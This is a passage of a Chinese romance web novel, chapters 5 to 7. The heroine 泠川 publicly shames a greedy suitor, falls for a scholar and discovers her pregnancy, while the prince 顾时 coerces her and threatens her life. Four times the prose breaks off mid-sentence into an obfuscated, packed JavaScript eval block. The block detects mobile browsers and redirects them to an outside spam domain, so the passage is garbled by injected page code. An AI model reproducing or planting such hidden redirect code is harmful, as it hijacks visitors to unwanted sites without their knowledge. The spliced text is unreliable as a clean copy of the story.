到了下午,泠川才穿上襦裙,勉强从床上起来,出去晒晒太阳。 王府里的花开得正好,泠川却没心情去赏。 “泠川姑娘……” 甄斐在将军府里遇了冷,连半句话都没跟那若云姑娘搭上,反倒碰了一鼻子灰。 他见泠川来了,心想不看白不看,王爷看得,他也看得,便睁大了眼,仔细瞧她。 真没想到,整个京城他都没找见比她更漂亮的姑娘。 他本以为城里的官家小姐皆如泠川一般貌美呢。 甄斐改了主意,若是能娶到如此美貌娇妻,他似乎也不亏什么。再说有王爷做主,娶泠川就像探囊取物一般简单。 更何况他现在处处都需要打点,最缺的就是银子,她还有一万两银子做嫁妆,便与他是绝配了。 “姑娘生得如此貌美,简直像某位王亲贵胄流落在外的女儿,不像小酒家出身。” 他自认是恭维,实则一句话就弄得泠川反感不已。 这登徒子竟然还敢去拉她的手,她拧起眉头,往后猛退了两步。 “我有爹娘,他们都是平平之辈,不是什么王亲贵胄。话不投机半句多,你以后不要再同我说话了。” “可咱们以后要做夫妻的,不说话哪能行?” “我不会同你做夫妻。” 泠川也不怕把话说绝,露出嫌恶的表情,三步并作两步走了。 他算什么东西,也敢点评她的爹娘。 呸! 回到屋里,金盏拿出些针线来,催着让她学些女红。 “姑娘,想嫁人都要学女红的,你也学一学吧。” 她把针线推到一边去, “我能不能活到嫁人那天都两说呢。” 金盏变了脸色,泠川又说些晦气话,真是越来越让人头疼了。 泠川背着金盏,偷偷把屋子里的金银细软全都找出来,收到一个盒子里,沉甸甸的。 甄斐无非也就是想要这些……既然如此,便让他拿去吧, 泠川心底生起了一个绝妙的主意,能狠狠地整治他一番。 次日,泠川没寻见王爷,便问金盏王爷到哪去了。 “哎呀,王爷请客游船去了,姑娘好生在屋里待着吧。” 她冷着张脸, “为何偏偏不邀我去?看来是邀了那若云姑娘吧。” 金盏变了变脸色,泠川姑娘说的是废话,若不是为了邀那若云姑娘,王爷花那么多银两是干嘛呢。 一个丫鬟进来通传,说是有个小厮在将军府门口候着要找金盏。 金盏去了,见他只穿的粗布衣裳,又用靛蓝色的染料使劲染了染来遮丑,即使只是个小厮,穿这样的衣裳未免也有些太寒酸了些。 那小厮赔笑道, “这位可是金盏姐姐?我是甄公子家的,我家主子请你家泠川姑娘一起去游船呢。” 金盏刚想开口,却不知泠川什么时候跟了上来,在她身后得意地笑道, “哼,金盏,这下你可没借口拦我了吧。” 金盏皱着眉头,把泠川往屋里拉,未出阁的姑娘到底是不太好见外男的,更何况还是个小厮。 泠川笑道, “甄斐公子邀请我去呢,我定要盛装打扮起来才好入他的眼……快把那最好的罗裙拿出来给我穿上。” “可是那若云姑娘也在,姑娘恐怕不好打扮得太过吧……” “你别管,只听我的就是了。” 金盏心想,不管泠川打扮成什么样,有泠川在肯定没人看若云。 既然如此,她打扮得高调还是低调,都没什么区别,还不如顺着她呢。 金盏仔仔细细地把她打扮了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310322|182893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一番,备上车,光明正大地送她去游船了。 “哎,姑娘,您拿着个盒子干什么?” 这裙子层层叠叠,华丽非凡,乍一看还真没发现她手里拿了个盒子。 “是我送给甄斐的礼物。” 金盏觉得莫名其妙有些古怪,这泠川姑娘方才还瞧不上那甄斐,怎么这么快便改性了呢? 先是为了去见那甄斐公子,打扮得锦绣非凡,又是给人家准备了礼物。 她越琢磨越觉得不对劲。 “姑娘不是瞧不上那甄公子么?怎么忽然又转变心意了?” 泠川假装擦拭眼泪, “我这样的,还能有人看上我就不错了,哪敢挑挑拣拣?” 金盏心里越来越别扭,却挑不出她的错处来。 她只盼望,泠川搞事别溅她一身血。 泠川登上船,确确实实吸引了所有人的目光。 她是一个金银珠宝,绫罗绸缎堆出来的美人,犹如一只西域进贡的黄金鸟,每一根发丝都煜煜生辉。 “请问这姑娘是……” 一个男子不敢直视泠川的容貌,只旁侧敲击地问金盏她姓谁名谁。 “我叫泠川,是王爷的义妹。” 不等金盏开口,泠川便亲自回了他。 泠川洋洋得意地享受着众人的目光,她盛装打扮,就是要让所有人都认识她的。 从此之后,再也无人相信顾时与泠川之间清清白白。 即便是再温顺乖巧的猫儿,守着一只如此娇弱美丽的黄金鸟,也会忍不住把她吞吃入肚。 男子们看了看彼此,心照不宣地笑了笑。 “有您这样的义妹,王爷可真是福气不浅呢。” “甄斐公子在哪呢?是他邀请我来的呢,我可是真心想嫁给他做妻子。” 泠川不过妩媚一笑,一个公子便殷勤地给她领路, “那甄斐不过一介无名小卒,您看我如何?” 被美貌冲昏头脑,那公子已经顾不上别的了。 泠川满脸媚意, “我今日就是来找甄斐的。” 她三步并作两步,冲到甄斐面前,众人皆把目光投向他们二人,甚至有把他们团团围住的趋势。 泠川很满意,她要的就是这个效果。 “甄斐,我问你,你可愿意娶我?” 甄斐正站在船边赏景,没想到泠川真的来了,还打扮得这样抢眼。 他隐隐约约有些不满,她没发现那些男人都在看她吗? “愿意,只是婚后您得改改性子。” 泠川妩媚一笑,当着众人的面将盒子打开,里面满是金银细软。 “你不就是为了这个才愿意娶我的吗?” 噗通—— 泠川把那些金银细软连带盒子一起丢到了河里。 “喜欢钱就赶紧跳下去捞吧,只要您亲自把它捞上来,钱是你的,我也是你的,我那一万两白银的嫁妆也是你的。” 船上顿时一片哗然,全船的人都恨不得挤过来看热闹。 “您放心,我把那盒子盖得很严实呢……不会进水。而且里面都是金银,即使进水了也没有大碍。而且我打听过了,您熟谙水性,绝对不会淹死的。” 见甄斐一动不动,脸色惨白,几乎晕倒,泠川便更加刻薄了几分,红唇勾起一个嘲讽的弧度。 “喜欢钱就跳下去捞啊。您没听到吗?” 5. 第 5 章 听到周围人的讥笑声,那些嘲讽的眼神犹如实质一般扫射在甄斐的身上,他咬紧牙关,面色惨白。 他的小厮趴在泠川的脚边,一脸谄媚地笑道, “好姑娘,求您给我个机会,让我下去捞吧……我上有老下有小,家里还有八十老母等着银两去治病呢。” 她一脚把他踢开, “滚开,狗东西,为了两个子儿能巴巴地从北城追到南城去,真是丢尽了脸!” 她像掠食者一样盯着甄斐, “听到了吗,甄斐,我要你下去捞!” 脑子嗡嗡直叫,仿佛有一万只苍蝇塞进他的脑子里,他努力睁开眼,却眼前一片白茫茫。 对了,这个时候只要装作晕倒就好了。 他两眼一翻,直直往后摔过去,砰的一声,后脑结结实实地砸了一下。 那小厮也觉得丢人现眼,赶紧把他扶走。 金盏混在人堆里假装不认识她,默默看戏。 她暗暗庆幸,还好自己有先见之明,她就知道泠川今天肯定得闹出点故事来。假装把泠川给跟丢了,王爷还能少怪罪点她办事不利。 泠川癫狂地笑了两声,收了收手腕上的丝带,那盒金银又被她从水里轻轻松松捞了上来。 原来,她提前把丝带的一端缠在盒子上的暗扣处,另一端缠在手腕上,虚虚掩在了袖子里。 “都看什么看?我还没那么疯,难道真的要把钱往水里丢啊?” 泠川掩面大笑不止。 “姑娘,请您不要再这样糟蹋自己了。” 一个青年男子缓缓地走出来。 他不过穿着平常衣裳,整个人的气质却宛如白玉一般,一双眉毛黑得似墨,睫毛长却不翘,压在一双眸子上,随着眨眼一闪一闪。 “我知道您现在心底一定很痛苦……我叫秦思昭,虽然这样说有些唐突,但我希望能认识您。” 听到这句话,泠川控制不住地开始发抖,秦思昭的身影在她眼中忽然和她母亲记忆中的身影重叠了。 一个男子嘲讽道, “你是什么来头?觉得自己能配得上王爷的义妹?” 另一个公子趴在他耳旁小声说, “秦思昭连中三元,是新科状元呢。” 那男子红了红脸, “呵,中了状元,就只娶个空有皮囊,抛头露面的女子么?” 杨若云忽然开口, “女子抛头露面又有什么不可?您心思太过狭窄了。” 她看向秦思昭,倒莫名觉得这是个不多见的好男子。 原本杨若云在内室与顾时交谈,她本来只是想出来透透气就回去,结果却撞上这么一出好戏,便默不作声观察了起来。 其余人竟然也未发现她来了。 “你就是王爷的义妹?” 忽然撞见了杨若云,泠川平白无故觉得自己矮了三分,自惭形秽了起来。 “泠川!你闹够了没有!” 顾时阴沉着脸,怒气冲冲地把她拉走。 “抱歉,我义妹让大家见笑了。” 泠川感觉自己像是丧失了斗志一样,任由他把自己拉走。 金盏挑了个空子,忙不迭地跑了出来,连连磕头, “王爷,都怪我,把姑娘跟丢了。她年轻脚程快,我岁数大了跟不上呢。” 一通表演完,她松了口气,王爷有火便都冲着泠川去发吧,不波及到她就行。 金盏忐忐忑忑地回了王府,果真泠川因大闹一通被禁足了,金盏也被罚了一个月的月钱,这可真是把她给心疼坏了。 泠川的性子反反复复,一会儿比谁都可爱,一会儿又比谁都难缠,真是红玫瑰长刺难摘,天知道有多难伺候。 她自己任性,反倒害得她罚了月钱,真是无妄之灾。哼,王爷也真该把她好好教训一通。 如今泠川禁足也有三日,却几乎没怎么动送过去的吃食,金盏未免有点担心,又不敢违背王爷的命令进去,只得站在门口劝她, “姑娘,好歹吃点东西吧。” 里面什么动静都没,她怕泠川真吊死在里头,便把门开了个缝,瞧上一瞧。 “我没死,别看了。” 泠川有气无力地回应。 金盏还是觉得不放心,说实话,她还真不觉得王爷真想拿泠川怎么样,她真有个好歹她可担待不起。 都三日了,想必王爷的气也过了吧,金盏一路小跑到王爷书房里,眼睛咕噜咕噜转了两圈, “王爷……姑娘她……三日没吃东西了。” “不管她。” 顾时头都不抬。 金盏怕泠川出事自己要担责任,索性说得更邪乎了些, “泠川这三日里一点动静都没有,我也不敢往里看……姑娘平日里就总是寻死觅活的,我心里害怕呀。” 顾时叹了口气, “罢了,我去看看她就是了。” 他推开门,泠川憔悴地躺在床上,脸上还有残妆未卸,看着像一片揉烂的柳叶似的。 “泠川,你把我的婚事搅黄了,这下你可满意了吧。” 看到泠川脆弱的样子,顾时也心软了些。 她虽疯了些,但也是出于对于他的喜欢和独占欲才这么疯的,想到这里,顾时便在心底原谅了她。 他并不知,泠川三日水米未进,是因为忘不掉秦思昭的脸。 他那句“请您不要再这样糟蹋自己了”一直在泠川的脑内回响,像一根沾了盐水的鞭子一样反复鞭挞她。 她可不是一直在糟蹋自己吗?除了自己,泠川还能去祸害谁呢? 她看着顾时出神。 若是她执意报复顾时,简直就像是鸡蛋碰石头一样。 究竟是该先爱自己,还是该先恨他? 泠川眼里闪过几点泪花,却哭不出来,她无端觉得自己斗志尽失,对顾时恨不起来了。 顾时忽然觉得看泠川不顺,她就是在利用他的纵容拿捏他,再这样下去,她只会把他的纵容变成抽在他头上的鞭子。 泠川明显就很清楚他会舍不得她,才故意弄出这幅弱柳扶风的模样。 他有意拿甄斐的事敲打她, “那甄斐磕到了后脑,变得痴傻,我怕他过几日再好了,到处乱说话,便派影卫把他处理了。” 泠川的脸色变得煞白。 她确实讨厌甄斐,但却没想过要他去死。 “听懂了吗,如果你不听话,我也会把你处理掉的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310323|182893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泠川被他激将,又急匆匆从床上爬起来, “不必脏了王爷的手,我现在就穿一袭红衣吊死在你眼前!” 放完狠话,泠川忽然发现自己做不到去上吊,若是从前,她真能豁出命去把王爷府闹翻天,可如今她却偃旗息鼓,根本不想思考跟顾时相关的事。 顾时厌倦了她动不动寻死觅活,单手把她按在床上, “你想不想嫁给当今圣上?我带你去见上一见。” 顾时一下把泠川给问蒙了,等反应过来时,她已经穿好了衣裳,洗过脸,与顾时一起坐在马车里。 既然是顾时主动带她去见当今圣上,那想必不是什么好事。 可泠川的斗志已经尽消,蔫蔫地坐着,没有任何打算。 顾时进皇宫就如同进自家后花园一般,轻而易举地就将她带进去了。 她只见一个双腿畸形,上半身短小的怪物,勉强套上一身龙袍,流着口水呵呵笑着看皮影戏。 泠川吓得躲到顾时身后,却被他拽了出来, “泠川,快给皇上磕头。” “嘿嘿……美人……” 那畸形儿看着泠川傻笑,看到顾时,又吓得退后了几步,哇哇大哭了起来。 泠川被那畸形儿的哭声吓得双腿一软,跪在了地上。 顾时嘲讽地拱了拱手, “参见皇兄。” 他见泠川被吓得不轻,便单手把她捞起来, “见识完了就跟我回王府,少一天到晚地闹出故事来。” 泠川讷讷地说, “以后不会了。” 二人坐在一辆马车里,泠川只怔怔地出神,顾时先打破了沉默。 “我父皇的腿便是那个样子的,我一共有五个兄弟姐妹,都随了我父皇的腿,除了我痴傻的皇兄之外,全部早幺。” 他嘲讽地笑了笑, “我是整个皇室唯一双腿健全的,我父皇也因此对我十分不喜。” “我娘说是因怀孕期间日夜祈祷,佛祖显灵,才把我生得健全周正,我父皇显然没信,过了几年,我娘便意外没了。” 泠川默不作声,但也听出了他的言外之意。 整个家族都畸形丑陋,只有一个生得高大英俊,那只有一种可能。 “泠川,整个皇室都是些短命鬼……如此看来我娘也算是做了件好事。” “王爷,以后我多为自己做打算,不会再折腾你了。” 泠川低下头,讷讷地说。 顾时满意地点了点头,他不能太纵容泠川,否则她真的会仗着他的宠爱爬到他头上来为非作歹。 可是他不知道,泠川爱了他太久,也恨了他太久,如今真的累了。 她想,自己对顾时的恨也无非都是期待落空了导致。 如今她对顾时没了期待,心里空落落一片,甚至都无法给心底的恨安置一个归处。 若是真能嫁给那秦思昭恐怕是很好很好的,好到泠川都不敢想。 一线曙光照了进来,像根狗尾草一样搔着她的心,让泠川坐立难安,无论如何都忽视不了。 那一丝希望跟贪欲一起扩张,竟然有灭过她内心怨毒的架势。 可是她真的配吗? 6. 第 6 章 回到王府后,泠川似乎真的学乖了,每日按时起床,正常吃饭,时不时出去转转。 她也不像往常那样胡闹,反倒对顾时生疏客套了起来。 从前她会歇斯底里地叫他的名字,如今只客气地管他叫王爷。 看到她如今平淡的样子,顾时却无端怀念起过去那个情绪激烈的泠川。 难道她真的被他吓乖了吗。 他不觉得泠川的胆子真的那么小,便起了疑心,她的身影在他眼中又变得飘飘渺渺,捉不住似的。 金盏却难得的神清气爽,她的姑奶奶终于不折腾人了。 泠川心里怎么想的她才懒得管,只要不给她找事就阿弥陀佛啦。 那姑娘血气太盛,又没正地方可用,可不就是成天的折腾。 不过,泠川倒是没有动不动殴打下人解气的毛病,她的火全都是冲着王爷去的。 之前泠川跟王爷吵架,一花瓶直接差点给王爷开瓢,那架势恨不能把房顶都掀了,吵完后又在屋子里荒唐到半夜,第二天接着吵,这种事金盏在王府里都见怪不怪了。 不过这义兄妹的名头确实好用,若她是个小妾,敢把花瓶往顾时脑袋上砸可真是反了天了。 金盏可不觉得男女情情爱爱的事儿有什么稀奇,泠川寻死觅活就是太闲了导致的,只要去码头抗上三天大包,嘿!什么毛病都没了。 忙完朝堂上的事,顾时得了空便来看看泠川,他见她只一味的看着花出神,一时之间竟猜不出她在想什么。 按理来说,他的婚事不成了,她应该高兴才是,可是她既不暗喜,也不主动跟他亲热,反倒一反常态地斯文了起来,现在看着还真像位正经官家小姐。 他伸手去碰她的手, “泠川,过来。” 她默默地把手抽了回去,对着他温婉一笑。 顾时觉得自己像一拳打在了沙包上,说不出的别扭。 “泠川,我不逼你嫁人了,你不想嫁就不嫁吧。” 顾时不知道自己为什么要这么别扭地求她与自己和好,不应该是她主动来跟他亲热么。 泠川摇摇头, “我迟早是要嫁的,还能赖在王府里不走不成?” 顾时变了脸色,粗暴地抓住她的手,往屋子里拖, “泠川,事到如今你还装什么装?” 原来她不是被吓破了胆,而是在故意晾着他,让他心里起别扭,对她患得患失,这样她就能利用他的无助来拿捏他。 他愤怒但又不得不承认,泠川得逞了。 他想要像原先一样亲吻她,却被她一歪头躲了过去。 “泠川,你到底想要我怎么样?” 他忽然觉得泠川一定会声泪俱下地求他娶她,只要她放软身段好好求他,他也不是不能遂了她的愿。 可她却低着头,小声地说, “抱歉,我无意中耽误了您的婚事,那日是甄斐邀请我去游船的,我一时冲动让王爷丢脸了。” 她低着头不看他的眼睛,就好似真的后悔了似的。 顾时顿时气不打一处来,她就想把链子拴在他脖子上,倒逼他向她低头。 “把衣服脱了。” 他只冷冷丢下这一句话,他知道给泠川安排婚事的事伤了她的心,但他也绝无可能主动对泠川低头。 她就像很惊讶似的,仰起头,像只纯洁的小鹿一样看着他。 “装得跟你什么都不懂似的。” 他失去了耐心,直接把她按倒在床上。 泠川一直看别的地方出神,却不愿意抬起眼皮看他一眼。 他受不了她装出一副一动不动的死鱼样子,开始偏执且熟练地讨好她。 这事他很擅长,今日却偏偏没成,无论他使出什么招数,泠川都提不起劲头来。 “你今日究竟怎么了,平日里不都很喜欢吗?” 他在她的耳畔轻轻问, “是我位置没找对吗?” 泠川只看着自己的手因身体欢愉而一张一合的样子。 她似乎灵肉分离了一般,身子同往常一样做出反应,灵魂却飘去了很远的地方。 他偏执地折腾了她一个多时辰,泠川既没有索求,也没有求饶。 她像个没有生命力的玩偶一样,被动地承受着这一切。 顾时感觉到了一种恐惧。 虽然他不愿承认,但事实上他就喜欢她偏激的样子。 虽然他也会因为她不停作闹而感到烦躁,但烦躁之余又会产生一种窃喜。 那是一种自己被确定地爱着的感觉。 他故意把她逼到极限,看她发疯,只有一遍一遍重复这个轮回,他才好暗暗从她的疯狂里品味出一丝被爱的甜蜜。 泠川杀到船上,当着众人的面发疯时,他其实隐隐约约期待着她当着众人的面,荒唐地吻他,向世人宣告他们荒唐的关系。 既然如此,他索性把她逼得再紧一点。 “泠川,今日你也见识过了,当今圣上是那个样子……恐怕命不久矣。到时候将军就是皇室最大的威胁,我必须提前与他女儿成亲,才好控制住将军的权力。” 他摸着她的头发叹了口气, “这些话本来是不应该跟你说的……只是大局为重,难免会有牺牲,你也应该懂事一些。” 说完,他开始期待泠川的反应。 茶杯就在她手边,她轻轻松松就能像往常一样把茶泼到他脸上,一只手鲜血淋漓地握着茶杯的碎片冲过来要割断他的喉咙。 她也可以大哭大闹,声泪俱下地控诉他是如何辜负了她。 可是她都没有这么做,只是小声说, “既然事关朝政,那王爷还是以大局为重,再多争取一下吧。” 他死死握住她的手腕来缓解不安, “泠川,我真的会娶杨若云。” 他重复一遍,就是在等着她开口挽留他。 他甚至期待泠川会用些更加疯狂的手段摧毁他的名誉,让他彻底变成属于她的东西。 可是泠川只点了点头。 “嗯。” 顾时感觉自己像是一拳打在了棉花上,心里空落落的失意。 既然她故意冷落他,那他也绝不可能顺了她的意。 “这几日我重新去跟将军商量一下我和杨若云的婚事,不回王府了。” 泠川不在乎顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310324|182893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时要去哪,只默默地走了。 既然顾时无论如何都要娶亲,娶谁对于她来说都是差别不大的。 这几日王爷不在,金盏便心不在焉,开始打哈欠偷懒。 “好姑娘,咱们互相打打掩护,我回家去看看我弟弟,你别跟王爷说,也别生出事端来……即使生出事来,别被王爷知道就行了。” 其实金盏早就过了“丫鬟”的年纪,只是她嫌别人叫她姑姑是把她叫老了,一直以丫头自称。 金盏一走,泠川开始坐立难安,她耐不住性子,想去见一见那秦思昭。 她本就是情感激烈直白的女子,有了好感便一刻都藏不住,说什么都想冲到他的门口,问上一问他究竟是怎么想的。 她带上帷帽,用银两打探了秦思昭的住处,便叫了辆车,匆匆地去了。 秦思昭的门前冷落,不过站了一个小厮。 “这里可是秦思昭的住处?” 泠川匆匆摘下帷帽,那小厮被她的美貌惊了一惊。 “姑娘……我记得您,您就是那日在船上的姑娘。我家公子等您很久了,特地嘱咐我一定要让您进来呢。” 她红了红脸,又把帷帽戴上了,讷讷道, “对,那正是我,我叫泠川,” 她想,他一定是什么都不知道,只因她一副皮囊好,便傻傻地觉得她是个好姑娘,才会等着她来。 若是他把自己和顾时的那些腌臜事都知道了,也会如同那甄斐一般看低了她的。 听到秦思昭一直在等她,她又开始胆怯,不敢进了。心想与其等着被人看低,还不如自己先走呢。 “您快进来吧……” 拗不过小厮的热情,泠川像一片柳絮被风吹进门中一般,进了秦思昭的住处,却忽然听到一个带着气性的女声, “哼,您刚中了状元,将军之女又如何就配不得了?再说,我本以为您不是个俗人,结果张口闭口就是家世门第,如此庸俗怯懦,无端让我瞧低了您。我最后给您一个机会,三个月内,您必须来将军府跟我提亲!” 那是杨若云姑娘的声音…… 她的声音本来就比别的姑娘都大,又带着点气性,可谓是掷地有声。 话说完后,便传来一阵急匆匆地脚步声,那杨若云姑娘已经气得走了。 这一番话清清楚楚地听进泠川耳朵里,让她一下子无地自容,羞愧难当。 杨若云竟然对秦思昭有意……而且表达方式还这么直接…… 泠川恨不得一下子钻进地缝里,如果有杨若云那样阳光大气的姑娘真心喜欢,又有谁肯要她这种不清不白,疯疯癫癫,还有几分神经质的姑娘,她白跑一趟,无非是自取其辱罢了。 “我……我还是走吧……” 还好今日里戴了帷帽,挡住了她羞愧难当的神色。 本来她也不该奢望有人会真心愿意娶她,趁秦思昭发现她之前,赶紧走吧。 “哎,姑娘,可是……” “别拦我!” 泠川恼羞成怒,歇斯底里地喊道。 “泠川姑娘既然已经来了,又何故要走呢?” 她没想到,来拦住她的人正是秦思昭。 7. 第 7 章 糟糕,自己疯疯癫癫的样子被他看见了。 泠川把帷帽拉得低了一些,不想被他看见自己羞愧难当的神色。 她故意压低了声音,冷冰冰地说, “我又如何能与那将军之女相比?还请公子快去府上提亲吧,莫要伤了若云姑娘的脸面。” 说着说着,眼泪便流了下来,啪嗒一下落在地上。 秦思昭强势地把她帷帽上的白纱拂起,看着她的眼睛, “不知泠川姑娘是不是误会了什么?我想娶的女子从来就只有泠川姑娘一个。” 听到这句话,泠川像一只受惊了的小鸟一般,接连退后了几步。 “你根本就不了解我,不认识我,怎么就能想娶我呢?太荒唐了!” “泠川姑娘,您更荒唐。您也不了解我,刚刚还叫我去将军府上提亲呢。你凭什么觉得我娶她就会幸福?” 泠川那层疯癫的保护壳被他猛然撕开,她吓得连连逃窜,像一只鸟儿一样逃出了秦思昭府中。 她拉低了帷帽,感觉无地自容。 泠川从来都是个敢于直白热烈地表达爱与恨的姑娘,如今在她唯一一根救命稻草面前却变得怯懦无比。 在车上,她忽然觉得一阵恶心。 其实在平日里,泠川的身子都康健得很,有一个皮实的身子,才能扛得住歇斯底里的情绪波动。 最近频繁出现的恶心,嗜酸,干呕……泠川再也无法无视这些像是怀孕的征兆。 “师傅,改道送我去看女医吧……” 她嘴唇颤抖着说出这句话。 若是她没怀孕,那便是老天爷怜惜,放她一条生路,若是怀孕,便是老天爷把她往死路里逼。 轻轻撩开门帘,泠川戴着帷帽进了医馆,这里是专门给妇人看病的地方,大夫是个颇具气质的中年女子, “请坐,这位姑娘有什么不适?” 她伸出一节素白的手腕,开始说早就编造好了的说辞, “大夫,实不相瞒,我是一个大户人家的通房丫头,如今怀疑自己有了身孕。” 女医似乎对这种事早已见怪不怪,云淡风轻地说, “姑娘确实是有身孕了。” 这个消息宛如一个晴天霹雳一般击中了泠川。 “大夫,我家主母恐怕容不下我怀孕……您能给我打胎的方子么?” “按照当朝律法,女子是不能单独要堕胎方子的,须要经过丈夫同意才行。” 泠川拿出了一倍之多的银两。 “这样也不行吗?” 那女医还是摇了摇头, “姑娘,请回吧。” 泠川只拿了些止孕吐的丸剂,心灰意冷地走了出去。 想必秦思昭也只是好心同情她,才说愿意娶她为妻,她又怎能利用他的善良好心来诱骗他娶一个肚子里怀了孽种的女子? 泠川连最后一丝自救之心也死了,最终还是回了王府。 还好顾时不在……她现在不想看见顾时。 她回到自己房中,拿出一个香囊,笨拙地绣起了鸳鸯。 一针一线中,泠川无端觉得自己的命进入了倒计时,迟早是要因腹中这个胎儿一尸两命的。 如今她已经断绝了拿腹中胎儿报复顾时的心思,她只想活一天算一天,等自己的肚子起来瞒不下去了,便寻个干净地方静悄悄地死了投胎转世。 想想自己先前多幼稚,还想化身红衣厉鬼日夜纠缠顾时……为了一个不值得的人,连魂魄都搭进去了……泠川不禁苦笑。 她从床底下拿出一卷从未看过的佛经,认真读了起来,给自己的来生积点福分,下辈子她还想当爹娘的女儿。 放下佛经后,泠川红着眼睛看着自己绣的那对鸳鸯,心想反正自己也是要死的人了,就让她在死之前自私一回吧。 就算只有一点点也好,她想体会一下被人珍视的感受。 过了两日,金盏兴致勃勃地回来了。 看来她是回家休了个好假,整个人红光满面,看着年轻了几岁。 她说是收拾屋子,实际上是一进屋便把泠川的东西翻了个遍, “嘿,姑娘终于开始学做女红啦!真是稀奇。” 她拿起泠川的香囊便滔滔不绝地点评了一通,泠川也不发火,只尴尬地赔笑。 她自知给金盏添了许多麻烦,如今她时日无多,也不想再折腾无辜的人了。 “姑娘,这是什么药?” 她拿起泠川那止吐的丸药问道。 “治梅核气的,我最近总是喉咙里堵着一口气,咳不出咽不下,有时会止不住干呕。” 金盏憋笑, “姑娘,不是说只有憋气的人才会得梅核气么?姑娘气起来便大呼小叫,恨不得把房顶都拆了,如此也会得梅核气么?” 泠川尴尬,也未免为自己之前的所作所为感到脸红,只说, “之前不懂,以后不会了。” 金盏乐不可支, “姑娘年纪也到了,终于是懂事了。” 只要不折腾人,对于金盏来说就是好姑娘。 泠川独自练习女红,一遍又一遍地绣起鸳鸯。 阳光从窗棂照进来,轻轻落在她的脸上,多了一种圣洁静谧的美感。 顾时走进来,竟看得怔住。 他还是头一回看见她恬静温柔的样子,竟觉得有几分陌生。 顾时亲了亲她的脸,她从发际到绯红的耳畔一带的皮肤特别薄嫩,他忍不住又亲了亲。 泠川竟然默不作声地躲了,他有些恼怒,一把夺过她手上的香囊,一根针同时扎了他们二人的指尖,血滴下来混合到一起。 “就算抛开我要娶别人的事不谈……你觉得我会佩这种粗制滥造的香囊么?这两只鸳鸯绣得简直像鸭子,七扭八歪,上不得台面。” 他用眼角撇着泠川,等着她恼羞成怒,冲过来拿针刺他。 可是她只用手帕擦了擦手指上的血,微微颔首,表示听到了。 为何泠川变得这么和气了呢? 他强行把泠川的下巴掰过来,强迫她看他。 他在她眼底找了个遍,却一丁点恨意都没找到。 她如今看着他,就像看着一个无关紧要的人。 不行,他要的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310325|182893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是泠川身上那极致的爱与恨。若是泠川死在他前面,她要化身厉鬼夜夜纠缠他,若是他先走了,泠川要半夜摸到他的坟墓前,撬开他的棺材让他不得安息。 “王爷,您擦擦手上的血吧。” 泠川拿了一块崭新的手帕,要给他擦手上的血。 滑艳的血液一下刺激了他的神经, “泠川,来尝我血液的味道吧。” 他偏执地把那汩汩流血的手指往她的喉咙里塞,似乎只要用他的血勾起她心底的那股子邪性,她又会变回那个阴冷滑艳的鬼。 血液腥甜的味道在她嘴里蔓延,他用力扣着她的下巴,她无论如何都躲不过, 他力气太大,弄得她挤出了两滴生理上的泪水。 他在等着她用力地咬他,却没等到。 他把手抽回来,她只用手帕擦了擦眼角的泪,低着头说, “王爷还是多去忙朝政的事吧。” 一种非常不安的感觉在顾时心头蔓延。 “泠川,你是觉得装出个贤良懂事的模样就能重新讨得我的喜欢么?你没有家世,即使是再贤良,于我而言又有何用?我照样不会娶你,你可死绝了心吧。” 顾时想,这下总能激怒她了吧。 “知道了。” 泠川像是有些不耐烦一般。 顾时反倒被她这种敷衍的态度激怒,什么时候轮到她对他不耐烦了,真是反了天去。 “哼,婊|子当惯了,如今衣服一穿就又装出个贤良模样来,你不会真以为自己是什么正经官家小姐吧,若是没了我,你一介孤女早就被人牙子卖到青楼里去了。” 如今泠川自认活一天算一天,自然不想把时间浪费在顾时身上,也不想与他做过多的纠缠动气。 可他拿她的身份作文章,泠川便不能忍了,她爹娘是她的底线,不容他人置评。 “若是没了王爷,我爹娘又怎会葬身火海?我只需继承家业再招个赘婿便是了。” 